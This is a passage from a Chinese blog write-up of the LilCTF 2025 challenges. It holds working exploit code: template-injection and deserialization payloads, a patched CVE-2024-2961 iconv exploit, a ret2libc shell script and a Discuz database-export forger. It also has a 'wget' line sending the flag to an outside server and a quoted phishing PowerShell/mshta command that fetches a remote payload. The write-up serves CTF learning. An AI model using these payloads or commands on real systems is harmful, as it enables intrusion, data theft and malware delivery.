Phrinky's Blog

LilCTF-2025 Writeup

2025/08/18
loading

被打爆了,拿了第 13,已经知足了 xwx。

Web

Ekko_note

看到 RCE 部分代码:

其中调用的 check_time_api 函数:

定义的默认 time_api:

可猜测此处需要修改 time_api 来通过 2066 年的检测。

而修改 time_api 需要 admin 权限:

审阅代码可发现重置密码的生成 Reset Token 逻辑部分使用了 UUID-8,并且自定义了参数,猜测这部分可能存在漏洞:

翻阅 Python 文档可知道 uuid.uuid8() 函数在 Python 3.14 引入,在调试的时候需要使用 Python 3.14:

再对 Python 源码的实现进行审阅:

不难发现 UUID-8 的生成依赖 random 库,且使用的全局 Random 状态。

再看到题目代码:

通过 /server_info 路由可获取到 SERVER_START_TIME:

admin 具有 is_admin 权限:

确定可利用此处漏洞对 admin 用户密码进行重置。

对于 SERVER_START_TIME 的获取需要登录(但不需要管理员权限),所以先需要注册个普通用户进行获取:

获取得 SERVER_START_TIME 后可对 admin 用户进行重置:

使用 Python 3.14 并复制相应生成逻辑可得到 Reset Token:

使用该 Token 即可重置 admin 密码:

可进入 管理员设置 界面修改时间 API:

此时可以使用自己的服务器或其他公共服务提供以下 JSON:

1
{"date": "2067-01-01T00:00:00"}

打开 执行命令 界面可确认修改成功:

此时执行 wget http://<SERVER_ADDR>/$(cat /flag) 即可获得 Flag:

最后得到 Flag 为: LILCTF{u_haV3_10uND_thE_r1Ght_TIMe1lN3!}

ez_bottle

审阅代码可得知 /view/<md5>/<filename> 路由存在模板注入风险:

且存在以下关键词黑名单:

看到上传函数,虽然接受的是压缩包,但是非法路径和符号链接都被受到了限制:

可确认只能使用模板注入。

查看 Bottle 文档 Embedded Python Code 部分:

可确认 % 符号不受黑名单限制,可构造不包含黑名单关键字的单行 Python 代码即可:

1
% assert False, locals()["\137\137builtins\137\137"]["ope""n"]("/flag").read()

将以上代码打包至 Zip 档案包上传即可:

访问相应路径即可获得 Flag:

得到 Flag 为: LILCTF{6o7Tl3_hAS_8een_r3cyCLeD}

Your Uns3r

看到代码:

不难发现:传入的 user 参数会经过反序列化,且检测是否同时包含 adminAccess":User 实例在 Destruct 的时候会检测 username 是否为 admin(弱比较,可以传入 0 绕过检查),如果条件为真则反序列化且要求反序列化结果为 Access 实例并调用其 getToken() 成员函数并对其进行 include

可大致猜测此处利用 LFI (Local File Include) 漏洞获得 Flag,构造 Access->prefix/Access->suffix/../flag,最后拼接出字符串 /lilctf/../flag,PHP 会自动解析路径为 /flag

但是注意到最后有个异常抛出,可以通过试验发现 PHP5 (PHP7 以上会调用) 在抛出异常后不会调用 __destruct 销毁对象:

经检测题目环境为 PHP5:

所以此处需要构造一个需要被 GC 立即回收的对象,下面将会构造一个 Array,利用反序列化特性,将 User 对象写入到 Array 的第一个索引,再将 null 值再次写入到 Array 的第一个索引,这样即可立即触发 GC 回收。

根据上面的发现可以编写 PHP 脚本获得序列化字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class User
{
public $username;
public $value;
}

class Access
{
protected $prefix;
protected $suffix;

public function __construct($prefix, $suffix)
{
$this->prefix = $prefix;
$this->suffix = $suffix;
}
}

$access = new Access("/", "/../flag");

$user = new User();
$user->username = 0;
$user->value = serialize($access);

$ser = serialize(array($user, NULL));
$ser = str_replace('i:1;N;}', 'i:0;N;}', $ser); // 将最后的 null 索引修改成 0
echo urlencode($ser);

获得序列化结果后使用 curl 发送即可获得 Flag:

得到 Flag 为: LILCTF{GOnN4_1lnd_YOUr_4NSwER_To_uN$eR}

我曾有一份工作

根据题目提示:

下面将使用 dirsearch 进行扫描,通过备份一词猜测会有个 Tar 或者 Zip 之类的档案包。

由于 Discuz 会在不存在的界面返回 index.php 的内容,为了减少搜索成功结果,将会在 dirsearch 时过滤掉字符串 <title>论坛 - Powered by Discuz!</title>

结合上述想法可使用以下指令进行搜索:

1
dirsearch -u http://[ENDPOINT] --exclude-text="<title>论坛 -  Powered by Discuz!</title>" -e php,html,htm,zip,tar,gz -a

可扫描到有 www.zip 档案包:

打开后可以看到是 Discuz X! 的源码,可以直接看到 config 目录下,猜测存在有敏感数据泄漏:

通过日期和名称可以看出来下面的是源码所分发的默认配置,而上面的是服务器所使用的配置:

打开上面两个文件配置,可以看到两个比较显眼的 Key authkeyUC_KEY:

通过搜索引擎可以搜索到 authkey 的利用方法:

搜索出来的基本都是针对于邮箱验证的接口进行利用,但是看到网上给出相应片段的代码:

再看到源码包给出来的相应片段(位于文件 source/include/misc/misc_emailcheck.php):

不难发现新版本的 Discuz X! 增加了额外的在数据库存储相应的验证字符串,并进行了验证,确认了此方法不再可行。

但是通过 文章 可以知道,重置密码用的 code 是通过 authcode 函数生成的,所以可以猜测哪些地方也利用到了 authcode 函数,可以使用 find 结合 grep 对源码进行搜索,执行以下指令:

1
find . -type f -name "*.php" -exec grep -H "authcode" {} \;

不难发现迎面而来一个非常可疑的 API dbbak.php,可通过名字猜测为数据库备份用的:

看到相关调用部分,这边使用了 UC_KEY 进行编解码,可大致确认可以利用,并且此处进行时间校验,限制了 code 有效时间为 1hr:

在往下看可以看到 method 可指定为 export 进行导出(由于代码篇幅过长不适合放出来):

看到请求参数的定义,可确认需要将 code 传入到 code 参数,再传入一个 apptype:

看到下面对 apptype 的检查,大致可猜测出来这个 API 是个几个应用的通用的 API,而这边使用的是 Discuz X!,所以 apptype 应当是 discuzx

结合上面在 config 文件夹找到的 UC_KEY,利用 API 里面定义的 _authcode 函数,根据上面的分析,可以写出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();

for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if(((int)substr($result, 0, 10) == 0 || (int)substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) === substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}

}

$UC_KEY = 'N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb';
$params = "time=".time()."&method=export";
$code = _authcode($params, 'ENCODE', $UC_KEY);

echo $code."\n";
parse_str(_authcode($code, 'DECODE', $UC_KEY), $get);
echo var_dump($get);

拿到请求器发送请求可以看到成功导出了 SQL 文件,并且 <nexturl> 标签附上了下一段 SQL 的请求 URL:

请求完之后应该有 3 段 SQL 文件,可在第 1 段 SQL 文件找到 pre_a_flag 定义:

在里面通过搜索不难看到往 pre_a_flag 表里插入了两个值:

Hex 解码分解可以得到两个 Flag:

按照格式要求可得到 Flag 为: LILCTF{h4VE_Y0u_FouND_A_J#b_n#w?_haH@HA}

php_jail_is_my_cry

看到题目描述的说明:

再看到源代码:

不难发现这边是利用的 curl 对文件进行的获取。

但看到 php.iniopen_basedir 定义:

再看到 PHP 文档curl_init 的说明:

会发现 curl 实际上不能使用 file Protocol 的,而这里使用了,说明了这里是利用了某个漏洞。

通过搜索引擎搜索可以发现 curl 是有个 Bypass 的 Issue 报告:

看到 Issuer 使用的 PHP 版本是 8.3.13,利用了下面选中部分的代码进行 Bypass:

而附件给出的 PHP 版本为 8.3.0,小于 Issuer 使用的 PHP 版本:

基本可以确定是使用了该代码进行绕过的:

1
curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");

补充代码到相应注释处即可开始本地调试。

看到源代码:

由于题目中提到了不出网,而在接受 url 参数的时候并没有使用上面所发现的漏洞进行绕过,所以基本确定 url 参数是不可用的。

而接受 down 参数的处理逻辑内有 LFI 漏洞,但是取了 basename,限定了 /tmp 目录,只能对上传的文件进行 include。

看到接受 file 参数时的逻辑,可以看到其对 <?phphalt 字符串进行了检测且无法绕过。

再看到 php.ini 对 short_open_tag 的定义为 Off,也确定了 <?<% 一类短标签不可用:

可确定这里需要利用 phar 档案包并压缩处理进行 ACE。

编写代码以便生成 phar 档案包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$p = new Phar("exp.phar");
$p->compressFiles(Phar::GZ);
$p->startBuffering();
$p['syaro.txt'] = 'suki!';
$p->setStub(
'// code here.
__HALT_COMPILER();'
);
$p->stopBuffering();

$fp = gzopen("exp.phar.gz", 'w9');
gzwrite($fp, file_get_contents("exp.phar"));
gzclose($fp);

看到 php.ini 定义的这个 比我命还要长的 disable_functions,基本也能确定不能通过常规的 PHP 函数执行 RCE:

所以接下来猜想需要利用 php Protocol 的 iconv 漏洞进行 RCE。

在搜索引擎搜索 php iconv rce 关键词可以看到就有一篇 Blog 文章 讲述了利用 iconv 漏洞进行 RCE 的文章:

可以看到是 CVE-2024-2961,利用了 CN-EXT 编码的转换漏洞:

再看到 CVE-2024-2961 的修复 commit 信息:

看到容器的 glibc 版本为 2.36-9,为未修复版本:

可确认该漏洞可利用。

通过文章可以找到 脚本

看到脚本所需的前置代码:

其中需要 file_get_contents 来对文件进行获取,但不幸的是 file_get_contents 被禁用了,但是这边只是需要读取文件数据和利用 php:// Protocol 的 iconv 漏洞,所以前者使用 curl 后者使用 include 也能达到同样的效果。

然后看到 Hint:

再看到脚本里面:

由于 data Protocol 在 include 里面使用需要 allow_url_include 启用,会发现脚本是无法直接使用的,但这边可以将 data Protocol 修改成上传文件再从本地读取内容。

编写 PHP 脚本,并使用上面编写的 phar 打包脚本生成 phar 档案包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (isset($_POST["include"])) {
include $_POST["include"];
}

if (isset($_POST["download"])) {
$ch = curl_init("file://". $_POST["download"]);
curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
echo $data;
}

if (isset($_POST["content"]) && isset($_POST["path"])) {
$content = $_POST["content"];
if ($_POST["base64"]) {
$content = base64_decode($content);
}
file_put_contents($_POST["path"], $_POST["content"]);
}

随后修改脚本(由于脚本篇幅过长,修改处不多,这边只贴出 Patch 文件):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
--- old/cnext-exploit.py	2025-08-18 13:55:55.256163528 +0800
+++ new/cnext-exploit.py 2025-08-18 13:55:43.005206555 +0800
@@ -22,6 +22,9 @@
from pwn import *
from ten import *

+import random
+import string
+

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
@@ -52,15 +55,22 @@
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
- return self.session.post(self.url, data={"file": path})
+ return self.session.post(self.url, data={"include": path})
+
+ def upload(self, path: str, content: str) -> Response:
+ return self.session.post(self.url, data={"path": path, "content": content})
+
+ def iconv(self, filters: str | None, content: str | bytes) -> Response:
+ filename = "".join(random.choices(string.ascii_letters, k=6))
+ path = "/tmp/" + filename
+ self.upload(path, content)
+ return self.send(f"php://filter{filters}/resource={path}")

def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
- path = f"php://filter/convert.base64-encode/resource={path}"
- response = self.send(path)
- data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
- return base64.decode(data)
+
+ return self.session.post(self.url, data={"download": path}).content

@entry
@arg("url", "Target URL")
@@ -93,6 +103,13 @@
wrappers and filters that the exploit needs.
"""

+ def safe_iconv(filters: str, content: str) -> Response:
+ try:
+ return self.remote.iconv(filters, content)
+ except ConnectionError:
+ failure("Target not [b]reachable[/] ?")
+
+
def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
@@ -100,15 +117,14 @@
failure("Target not [b]reachable[/] ?")


- def check_token(text: str, path: str) -> bool:
- result = safe_download(path)
+ def check_token(filters: str, content: str) -> bool:
+ result = safe_iconv(filters, content).content
return text.encode() == result

text = tf.random.string(50).encode()
base64 = b64(text, misalign=True).decode()
- path = f"data:text/plain;base64,{base64}"

- result = safe_download(path)
+ result = safe_iconv("", text).content

if text not in result:
msg_failure("Remote.download did not return the test string")
@@ -121,18 +137,15 @@
msg_info("The [i]data://[/] wrapper works")

text = tf.random.string(50)
- base64 = b64(text.encode(), misalign=True).decode()
- path = f"php://filter//resource=data:text/plain;base64,{base64}"
- if not check_token(text, path):
+ if not check_token("/", text):
failure("The [i]php://filter/[/] wrapper does not work")

msg_info("The [i]php://filter/[/] wrapper works")

text = tf.random.string(50)
- base64 = b64(compress(text.encode()), misalign=True).decode()
- path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
+ compressed = compress(text.encode())

- if not check_token(text, path):
+ if not check_token("/zlib.inflate", compressed):
failure("The [i]zlib[/] extension is not enabled")

msg_info("The [i]zlib[/] extension is enabled")
@@ -443,8 +456,6 @@
)

resource = compress(compress(pages))
- resource = b64(resource)
- resource = f"data:text/plain;base64,{resource.decode()}"

filters = [
# Create buckets
@@ -474,15 +485,15 @@
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"

- return path
+ return f"/read={filters}", resource

@inform("Triggering...")
def exploit(self) -> None:
- path = self.build_exploit_path()
+ filters, content = self.build_exploit_path()
start = time.time()

try:
- self.remote.send(path)
+ self.remote.iconv(filters, content)
except (ConnectionError, ChunkedEncodingError):
pass

上传 phar 档案包:

随后复制链接执行脚本:

1
python3 cnext-exploit.py 'http://<ENDPOINT>/?down=exp.phar.gz' "/readflag > /tmp/flag"

可以看到攻击成功。

随后访问 http://<ENDPOINT>/?down=flag 即可获得 Flag:

得到 Flag 为: LILCTF{BreaK_0U7_7HE_jA11_AND_heAR_My_cURI_CrY}

Misc

是谁没有阅读参赛须知?

在比赛规则内的第 3 点可找到 Flag:

得到 Flag 为: LILCTF{Me4n1ngFu1_w0rDs}

v我50(R)MB

阅读题意可得知文件信息改了,但是文件并没有更新:

可猜测此处对应 HTTP Header 的 Content-Length 信息受到了修改,导致数据信息截断,而实际上服务器在发送至相应大小之后并没有停止发送,而是仍在发送文件。

通过 Developer Tools 找到图片路径 /api/file/download/72ddc765-caf6-43e3-941e-eeddf924f8df:

可利用 curl 忽略 Content-Length 接收文件:

1
curl --output flag.png --ignore-content-length http://<ENDPOINT>/api/file/download/72ddc765-caf6-43e3-941e-eeddf924f8df

可发现接收的大小符合题目预期的 1MB,也能看到图片能正常打开:

得到 Flag 为: LILCTF{i_dONT_KNOW_8U7_A1_GENerATEd_7hAT_c0d3}

PNG Master

使用 zsteg 可以看到能分析出一个 Zlib 文件和两段 Base64:

对 Base64 解码可以获得两段 Flag:

  • Flag1: LILCTF{
  • Flag2: Y0u_4r3_M

然后执行指令 zsteg -E "extradata:1" [FILE] > data.zlib 解出 zlib 数据:

解压 zlib 数据后不难看出来是一个 Zip 档案包:

将它保存到文件里:

可以看到 hint.txt 有一段文本但实际大小有 195 B,可猜测有零宽字符:

复制出来拿到解码器可以看到:

得到提示 与文件名xor

看到题目介绍:

可以猜测 secret.bin 里面的内容需要与 secret 异或解码,可使用 CyberChef 上传文件进行解密:

可以得到 Flag3 的 Hex 值:

可以得到 Flag3 为 as7er_in_PNG}:

拼接后可得到 Flag 为: LILCTF{Y0u_4r3_Mas7er_in_PNG}

提前放出附件

经典线下赛提前放出加密大附件压缩包,可能还有百度网盘元素加持,不妨碍大家想要拆拆包。

使用 John 字典爆破无果,选用 bkcrack 明文攻击。

不难看到 Zip 档案包内有个 flag.tar 文件:

猜测 flag.tar 内部存着 flag.txt 文件,可以写一个 flag.txt 文件打包成 flag.tar 查看文件头,利用文件头进行明文攻击。

执行以下指令生成文件头:

1
2
3
echo -n "LILCTF{" > flag.txt
tar -cf flag.tar flag.txt
head -c 16 flag.tar > header.bin

随后执行 bkcrack -C [ZIP_PATH] -c flag.tar -p header.bin 即可爆破出密钥 945815e7 4e7a2163 e46b8f88:

随后执行 bkcrack -C [ZIP_PATH] -c flag.tar -k 945815e7 4e7a2163 e46b8f88 -d flag.tar 即可解压出 flag.tar,解出 flag.tar 即可获得 Flag:

得到 Flag 为: LILCTF{Z1pCRyp70_1s_n0t_5ecur3}

Pwn

签到

使用反编译器反编译可看到 read 函数调用处存在 Stack Arbitrary Write 风险:

对 Stack 进行分析,可确定 bufretaddr 之间的空间大小为 0x78。

且题目给出 libc.so 附件,可通过 ret2libc 调用 system("/bin/sh") 获得 Shell (此处借用了 reHex Ninja 的代码 进行修改):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import pwn

p = pwn.remote("<REMOTE_HOST>", <REMOTE_PORT>)

pwn.context(os='linux', arch='amd64')

elf = pwn.ELF("./pwn")
libc = pwn.ELF("./libc.so.6")

pwn.info("Stage 1, leak puts addr")
p.recvuntil(b"What's your name?\n")

# prepare payload
fill = b'A' * 0x78
rop = pwn.ROP(elf)
rop.call(elf.plt["puts"], [elf.got["puts"]])
rop.call(elf.symbols["main"])
payload = b"".join([fill, rop.chain()])

p.sendline(payload)

# extract leaked puts address
raw_data = p.recvuntil(b'\n')
raw_data = raw_data.strip() # \
raw_data = raw_data[-6:] # - skip unnecesary data

leaked_puts = raw_data.ljust(8, b'\x00') # fill missing bytes with zeroes
leaked_puts = pwn.u64(leaked_puts)
pwn.success(f'Leaked puts: {leaked_puts:x}')


pwn.info("Stage 2, ret2shell")
# calculate offset, base address of the libc in the memory
libc.address = leaked_puts - libc.symbols['puts']

# prepare the final payload
rop = pwn.ROP(libc)
rop.call(rop.find_gadget(['ret']))
rop.call(libc.symbols['system'], [next(libc.search(b"/bin/sh\x00"))])
payload = b"".join([fill, rop.chain()])

p.sendline(payload)
pwn.success("Have fun!")
p.interactive()

执行脚本输入 cat /flag 即可获得 Flag:

可得到 Flag 为: LILCTF{007bd515-bb73-485d-896a-5a3b7dcfeccf}

Reverse

ARM ASM

使用 JADX 反编译可发现 Flag 的加密逻辑是定义在 Native Library 里面的 (为什么加密函数是叫 check 函数,有点神秘(x),且加密后的字符串为 KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S:

将 Resources 内 lib/arm64-v8a/libez_asm_hahaha.so 提取出来放到反编译器分析。

可大致分析出来 check 函数先使用了一个 Block Cipher 对传入的字符串进行了加密处理,且使用了一个名为 t 的初始向量:

上面反编译出来的 vqtbl1q_s8 函数可以看到 ARM 文档 描述:

可以知道这个函数是将 t 向量按照 idx 向量的索引重新排列。

随后进行了一次高低位互换的编码转换:

可通过以下变换得到原字符:

1
2
3
b0 = ((b0 >> 3) | (b0 << 5)) & 0xFF
b1 = ((b1 << 1) | (b1 >> 7)) & 0xFF
b2 = b2

最后进行了 Base64 编码:

看到 encodeBase64 函数的定义:

可判断出来是标准的 Base64 变换,变换表存储在 base64 全局变量上:

可看到为非标准 Base64 表(部分位发生了调换)。

由于此处为非标准 Base64 变换,将使用 CyberChef 解码得到 Base64 解码后的数据:

找到初始向量 t 的值:

编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
INIT_T = bytes.fromhex("0d0e0f0c0b0a09080607050402030100")

decoded = bytes.fromhex("92b77c0bbc6bb2397d13a150722048623461c3b054eb336dca35725bb766f2b66993bc62aa3367f3316b9b2d6c3baf6c")

rotated = bytearray()
for i in range(0, 48, 3):
b0 = decoded[i]
rotated.append(((b0 >> 3) | (b0 << 5)) & 0xff)
b1 = decoded[i + 1]
rotated.append(((b1 << 1) | (b1 >> 7)) & 0xff)
b2 = decoded[i + 2]
rotated.append(b2)

decrypted = bytearray(48)

t = INIT_T
for i in range(0, 3):
shuffled = bytes(x ^ y for x, y in zip(rotated[i * 16 : (i + 1) * 16], t))
for j in range(16):
index = t[j] + (i * 16)
decrypted[index] = shuffled[j]
t = bytes(x ^ i for x in t)

print(decrypted)

执行脚本即可获得 Flag:

得到 Flag 为: LILCTF{ez_arm_asm_meow_meow_meow_meow_meow_meow}

1’M no7 A rO6oT

打开网站点开验证可发现以下内容:

可猜测为 PowerShell 代码执行风险代码 (我手上没有 Windows 环境也测不了),粘贴可看到以下代码:

1
powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://<HOST>/Coloringoutomic_Host.mp3   http://<HOST>/Coloringoutomic_Host.mp3 #     ✅ Ι am nοt a rοbοt: CAPTCHA Verification ID: 10086

可猜测 http://<HOST>/Coloringoutomic_Host.mp3 路径存在恶意代码。

使用 ffprobe 可发现在 28765 byte 处存在 27080 bytes 的无用数据:

使用 dd 可提取出相应代码:

经过简单判断,混淆代码会在调用 eval 后执行,且反混淆后的代码将会存储在 SxhM 变量上。

复制解码部分代码到 Node.js 上执行,可得到另一份混淆代码:

可通过代码内容猜测出以上字符序列均为原字符的 Char Code 值 +601 得到,可利用以下 Python 脚本得到原始内容:

1
2
CHARS = ...
print(bytes(c - 601 for c in CHARS))

可得到又一份代码:

经过简单判断可知道上面 Hex 值是代码对 204 XOR 的结果,可使用以下 Python 脚本获得源代码。

1
2
HEX = ...
print(bytes(b ^ 204 for b in bytes.fromhex(HEX)))

不难发现此处又有一份恶意代码存储在 http://<HOST>/bestudding.jpg 上。

使用 curl 可发现为一段混淆过的 PowerShell 代码:

可发现文件最后有 | .$r,可猜测为 iex 对前面内容执行:

除去末尾的 | .$r 执行代码可得到:

删除掉 iex 调用执行可得到:

(怎么还有个 Ciallo,柚子➗蒸鹅心 (bushi))

不难找到 Flag 存储在 fF1IA49G 变量上,得到 Flag 为: LILCTF{83_vigiIAnT_ag@lnS7_pHlsHiN9}

Oh_My_Uboot

下载 ELF 后使用反编译器打开:

可确定 ELF 基址为 0x60800000,对 U-Boot 的配置进行查询:

可确定上述机器加载基址均为 0x60800000,此处将使用 vexpress-a9 配置进行模拟。

执行以下指令编译 U-Boot 以便后续调试操作 (需自行解决依赖问题):

1
2
make vexpress_ca9x4_defconfig
make CROSS_COMPILE=arm-none-eabi- -j$(nproc)

使用 qemu-system-arm -M vexpress-a9 -kernel re-u-boot -nographic -gdb tcp::3333 指令启动 U-Boot 并开放 GDB 服务器到端口 :3333 以便调试:

看到最后显示要输入密码,可猜测密码为 Flag:

尝试搜索 password 字符串无法找到,可猜测经过了字符串加密:

但是在 Strings 窗口可以看到其他字符串并没有经过加密:

可以通过字符串的交叉引用找到将字符串输出到 Console 的函数:

可确定 sub_6081886c 对应为输出 Console 函数,并命名为 write_console

同理下面的函数 sub_60865954 为格式化输出函数,可命名为 printf:

看到 U-Boot 文档:

可以看到 ELF 加载后 Relocation 的地址可以通过 r9 寄存器上指向的全局数据获得。

此处将使用 pwndbg 进行调试。

使用 target remote :3333 连接到 QEMU:

执行 add-symbol-file u-boot 以添加 symbol,后执行 p/x (*(struct global_data*)$r9)->relocaddr 指令即可获取 Relocation 后的基址:

可得到基址为 0x67f5e000,将反编译器 Rebase 到相应基址以便于后续调试:

通过测试可发现:在输入错误密码之后 U-Boot 会输出字符串 ### Please input uboot password: ###:

可根据以上发现对 write_consoleprintf 函数进行断点测试。

可以看到 Rebase 后这两个函数的地址分别是 0x67f7686c0x67fc3954,在 Debugger 里输入 b *0x67f7686cb *0x67fc3954 对这两个函数进行断点:

然后输入 c 让程序继续运行至断点,在 QEMU 窗口按下回车可以发现断点触发:

随后输入 fin 让程序运行到函数结束:

可以看到现在程序执行到了 0x67f71fdc 上,看到反编译器可以找到这个函数:

不难发现,其中对某个 QQQR" 开头、长度为 0x25 的字符串对 0x72 进行了 XOR 处理。

可以对该字符串重定义类型,以便提取出来分析:

对该字符串对 0x72 进行 XOR:

可以发现就是要求输入密码的提示符。

不难发现该函数最后有以下字符串:

不难看出来所调用的函数是用于判断两个字符串是否相等的(可命名为 strcmp):

可以 strcmp 传入的第一个参数 var_84 是在 67f72010 处调用的 sub_67f71e3c 产生的:

看到 sub_67f71e3c 函数可猜测是加密函数,可以断点到该函数调用的 bl 指令处:

可以利用 Binary Ninja 的 LLIL 看到分别对应的 r0r1 寄存器,且在 67f72010 调用函数:

此时可以通过 del 删除之前的断点,输入 c 让程序继续执行,在 0x67f72010 处下断点,任意输入一段文本验证是否为加密函数:

此处以 1145141919810 作为测试:

看到 r0、r1 寄存器地址分别为 0x67b1dde80x67b1ddb4:

可以看到 r0 寄存器对应的为原文本,r1 寄存器对应的加密后的文本:

此时可以输入 so 指令查看函数执行后的结果:

可以看到两个传入参数的值都发生了变化,而 r1 寄存器对应的 0x67b1ddb4 则是加密后的结果,将会在下面进行比较。

接下来可以开始分析加密函数了。

先看到前几行代码,此处对 r0 赋值了一个函数对传入的第一个参数的计算值:

看到这个函数的定义不难看出来是计算字符串长度的(可命名为 strlen):

随后可确定加密函数首先对传入的明文字符串进行对 0x72 XOR 处理。

再往下看,可以看到在 var_84 上生成了个从 0x300x6a 的表:

再往下看有个 sub_67f5fcfc 函数调用传入了很多参数:

这个函数也能在刚刚找到校验密码逻辑的函数里找到,传入的第一个参数 var_50 在下面进行了 XOR 并输出到控制台,而第二个参数 data_67fcb357 对应的 XOR 加密前的字符串,而第三个参数恰好为字符串包含 NUL 字符的长度,可猜测该函数为内存复制函数(可命名为 memcpy):

再看回刚刚的调用,不难看出来是将刚刚经过 XOR 加密的字符串复制到一段新空间上。

继续往下看并对变量名进行适当的调整:

看到中间调用的 sub_67fc8534 函数定义的末尾:

不难看出来这是编译到 ARM 目标时生成的除法函数(ARM 不支持除法)(可命名为 div 函数)。

sub_67fc8600 调用了 sub_67fc8498:

其调用的 sub_67fc8498 末尾也是跟上面的 div 一样特征,说明也是除法函数:

看回 sub_67fc8600,虽然反编译代码写着是直接返回的,但是结合 LLIL 和 MLIL 会发现不一样调用完之后在其他寄存器做了其他运算:

r0 对应除法结果(商),r1 对应传入的被除数,r2 对应传入的除数,不难看出来 r1_1 (r1 寄存器) 存储着结果的模。

看回刚刚调用 sub_67fc8600 的地方,会发现并没有取 r0 的值,而是取的 r1 值,所以实际上该函数应该是除法取模函数(ARM 的 r0r1 寄存器均可用于返回值,可命名为 divmod):

再看回刚刚那段加密逻辑,将部分数字转换成十进制:

结合上面生成的 0x300x6a 的表,也刚好为 58 字节。

根据 / 58% 58 的特征可看出来这边是一个类 Base58 编码。

再往下看,可以看到最后将经过类 Base58 编码处理的结果写回到输出:

综合上面分析,可以得出加密过程为: XOR 0x72 -> Base58-like (Table: 0x30-0x6a)

1
2
3
4
5
6
7
8
9
10
11
TABLE = {b: num for num, b in enumerate(bytes(range(0x30, 0x6a)))}
RAW = b"5W2b9PbLE6SIc3WP=X6VbPI0?X@HMEWH;"

num = 0
for c in RAW:
num = num * 58 + TABLE[c]
decoded = num.to_bytes((num.bit_length() + 7) // 8, "big")

decrypted = bytes(b ^ 0x72 for b in decoded)

print(decrypted)

运行脚本可解得 Flag:

获得 Flag 为: LILCTF{Ub007_1s_v3ry_ez}

obfusheader.h

在分析之前可以运行程序进行简要观察:

不难看出来过长过短都会有提示,这样就可以测试出来 Flag 长度为 40

由于该程序的控制流进行了混淆,所以在反编译器里看也没有什么好分析的,不过能找到链接了 getc 函数(没有使用 fscanf / fgets 一类函数,所以基本可以确定只调用了 getc):

看到 getc 函数在 .text 段上地址为 0x140033368,对该地址进行断点:

随后输入 c 继续执行程序,输入 40 字符长度的 a 填充字符串(以便于分析)进行调试:

随后执行 c 8 让程序继续接收 8 个字符,使用 pwndbgsearch 指令可以查找到 getc 后所存储的地址为 0x14003a040:

接下来可以对地址 0x14003a040 使用 awatch 指令下硬断点,随后使用 del 指令删除掉前面的 getc 断点,输入 c 继续调试:

在继续调试几次之后可以看到以下函数:

不难看出这边进行了异或加密,执行多几次 c 可以发现每次 XOR 的密钥是不一样的,但是针对于不同的输入数据所产生的 XOR 密钥是一样的(可通过输入不同数据重新调试测试出来,此处不多赘述)。

所以可以在 XOR 加密过程结束后将数据 Dump 出来对原数据 XOR 即可获得密钥。

执行多几次 c 等到 XOR 过程结束后,使用 dump mem xor_filled_with_a.bin 0x14003a040 0x14003a040+40 指令将 XOR 结果 Dump 出来:

随后看到上一次 c 出来的汇编代码:

以及 c 跳过该过程之后的数据:

